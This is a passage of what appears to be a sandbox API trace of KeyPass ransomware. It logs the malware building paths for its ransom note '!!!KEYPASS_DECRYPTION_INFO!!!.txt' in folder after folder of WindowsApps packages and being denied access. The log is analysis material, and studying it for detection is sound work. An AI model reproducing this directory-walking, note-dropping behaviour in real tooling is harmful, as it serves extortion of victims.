dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.584] GetLastError () returned 0x3f0 [0289.584] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.584] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.584] GetLastError () returned 0x5 [0289.584] GetLastError () returned 0x5 [0289.584] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.585] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.585] GetLastError () returned 0x3f0 [0289.585] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.585] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Advertising\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.585] GetLastError () returned 0x5 [0289.585] GetLastError () returned 0x5 [0289.585] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.585] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.585] GetLastError () returned 0x3f0 [0289.586] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.586] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.586] GetLastError () returned 0x5 [0289.586] GetLastError () returned 0x5 [0289.586] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.586] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.586] GetLastError () returned 0x3f0 [0289.586] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.586] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.586] GetLastError () returned 0x5 [0289.586] GetLastError () returned 0x5 [0289.586] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.586] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.587] GetLastError () returned 0x3f0 [0289.587] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.587] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.591] GetLastError () returned 0x5 [0289.591] GetLastError () returned 0x5 [0289.592] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.592] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.592] GetLastError () returned 0x3f0 [0289.592] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.592] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Finance\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.593] GetLastError () returned 0x5 [0289.593] GetLastError () returned 0x5 [0289.593] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.593] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.593] GetLastError () returned 0x3f0 [0289.593] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.593] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\FoodAndDrink\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.593] GetLastError () returned 0x5 [0289.594] GetLastError () returned 0x5 [0289.594] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.594] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.594] GetLastError () returned 0x3f0 [0289.594] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.594] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.594] GetLastError () returned 0x5 [0289.594] GetLastError () returned 0x5 [0289.594] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.594] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.594] GetLastError () returned 0x3f0 [0289.594] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.594] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\News\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.595] GetLastError () returned 0x5 [0289.595] GetLastError () returned 0x5 [0289.595] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.595] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.595] GetLastError () returned 0x3f0 [0289.595] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.595] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Sports\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.596] GetLastError () returned 0x5 [0289.596] GetLastError () returned 0x5 [0289.596] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.596] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.596] GetLastError () returned 0x3f0 [0289.596] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.596] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Weather\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.596] GetLastError () returned 0x5 [0289.596] GetLastError () returned 0x5 [0289.596] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.596] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.596] GetLastError () returned 0x3f0 [0289.596] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.596] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.597] GetLastError () returned 0x5 [0289.597] GetLastError () returned 0x5 [0289.597] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.597] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.597] GetLastError () returned 0x3f0 [0289.597] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.597] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.597] GetLastError () returned 0x5 [0289.597] GetLastError () returned 0x5 [0289.597] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.597] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.597] GetLastError () returned 0x3f0 [0289.598] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.598] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.598] GetLastError () returned 0x5 [0289.598] GetLastError () returned 0x5 [0289.598] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.598] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.599] GetLastError () returned 0x3f0 [0289.599] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.599] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.599] GetLastError () returned 0x5 [0289.599] GetLastError () returned 0x5 [0289.599] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.599] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.599] GetLastError () returned 0x3f0 [0289.599] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.599] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.600] GetLastError () returned 0x5 [0289.600] GetLastError () returned 0x5 [0289.600] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.600] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.600] GetLastError () returned 0x3f0 [0289.600] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.600] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.600] GetLastError () returned 0x5 [0289.600] GetLastError () returned 0x5 [0289.600] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.600] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.600] GetLastError () returned 0x3f0 [0289.600] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\_Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\_Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.600] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.3.193.0_x86__8wekyb3d8bbwe\\_Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.601] GetLastError () returned 0x5 [0289.601] GetLastError () returned 0x5 [0289.601] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.601] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.601] GetLastError () returned 0x3f0 [0289.601] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.601] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.623] GetLastError () returned 0x5 [0289.623] GetLastError () returned 0x5 [0289.624] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.624] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.624] GetLastError () returned 0x3f0 [0289.624] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.624] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.625] GetLastError () returned 0x5 [0289.625] GetLastError () returned 0x5 [0289.625] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.625] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.625] GetLastError () returned 0x3f0 [0289.625] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.625] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_10004.3.193.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.626] GetLastError () returned 0x5 [0289.626] GetLastError () returned 0x5 [0289.627] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.627] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.627] GetLastError () returned 0x3f0 [0289.627] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.627] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.630] GetLastError () returned 0x5 [0289.630] GetLastError () returned 0x5 [0289.631] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.631] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.631] GetLastError () returned 0x3f0 [0289.631] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.631] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.631] GetLastError () returned 0x5 [0289.631] GetLastError () returned 0x5 [0289.631] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.631] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.631] GetLastError () returned 0x3f0 [0289.631] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.631] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.3.193.0_x86__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.632] GetLastError () returned 0x5 [0289.632] GetLastError () returned 0x5 [0289.632] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, 